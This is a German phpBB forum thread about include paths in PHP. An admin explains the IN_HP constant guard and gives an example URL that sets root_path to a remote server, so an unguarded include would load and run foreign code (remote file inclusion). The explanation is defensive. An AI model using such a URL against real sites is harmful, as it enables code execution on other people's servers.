General Error - Illegal use of $_SERVER

In diesem Forum gibt es Starthilfe zum neuen Extension-System von phpBB 3.1/3.2. Fragen zur Entwicklung von Extensions und zur Konvertierung von phpBB 3.0.x MODs sind ebenfalls willkommen.
uwe.ha
Mitglied
Beiträge: 834
Registriert: 18.05.2001 02:00

Re: General Error - Illegal use of $_SERVER

Beitrag von uwe.ha »

Ok, jetzt habe ich es - glaube ich - verstanden ;-)

Mein Missverständnis war, dass ich den root_path immer wieder, also auch in der include-funktion der zu includenden Datei angegeben habe, womit alles durcheinander kam.

Jetzt habe ich also NUR in der AUFGERUFENEN Datei (die also auch im Browser angezeigt wird), beim ERSTEN include-Befehl den root_path angegeben. Die folgenden includes auf der Seite werden dann nur per

Code: Alles auswählen

<?php include ($root_path . 'datei.inc.php'); ?>
included. Den root_path übernehmen sie ja automatisch aus der ersten Definition.
BESTEN DANK für Eure Erklärungen und Geduld!

@gn#36: Das mit dem

Code: Alles auswählen

define('IN_HP', true);
bzw.

Code: Alles auswählen

if(!defined('IN_HP'))
    exit;
hab ich noch nicht verstanden, bzw. welchen Vorteil es hätte.
Uwe
Benutzeravatar
gn#36
Ehrenadmin
Beiträge: 9313
Registriert: 01.10.2006 16:20
Wohnort: Ganz in der Nähe...
Kontaktdaten:

Re: General Error - Illegal use of $_SERVER

Beitrag von gn#36 »

Es verhindert den direkten Aufruf der eingebundenen Dateien, die dann möglicherweise etwas anderes machen als das gewünschte. Zu Zeiten, als register_globals noch auf vielen Servern aktiv war könnte man bei deiner Konstruktion z.B. eine URL mit

Code: Alles auswählen

http://example.de/includes/angegriffene_datei.php?root_path=REMOTE_PFAD_ZU_EINEM_ANDEREN_SERVER_UND_DORT_ZUR_DATEI_datei.inc.php
aufrufen und hat sie so dazu bewegt, (Schad-)Code von dem anderen Server zu laden und auszuführen. Ohne register_globals geht das so einfach dann zwar nicht mehr, trotzdem kann es sein, dass die Dateien beim direkten Ausführen mit ein paar Tricks dazu bewegt werden können Dinge zu tun, die sie nicht tun sollten. z.b. Datenbankbefehle ausführen oder sowas. Und wenn es nur das provozieren einer Fehlermeldung ist, die dem Angreifer Zusatzinfos über das angegriffene System liefert.

Um das zu verhindern definiert man eine Konstante die in jeder vom Browser aufrufbaren Datei angelegt wird und in allen eingebundenen Dateien, die direkt Code ausführen (also nicht nur Funktionsdefinitionen oder Klassen enthalten) abgefragt. Wenn nicht definiert, dann bricht die Ausführung sofort ab und verhindert so von Angreifern provozierte Fehler.
Begegnungen mit dem Chaos sind fast unvermeidlich, Aber nicht katastrophal, solange man den Durchblick behält.
Übertreiben sollte man's im Forum aber nicht mit dem Chaos, denn da sollen ja andere durchblicken und nicht nur man selbst.
Antworten

Zurück zu „Extension Bastelstube“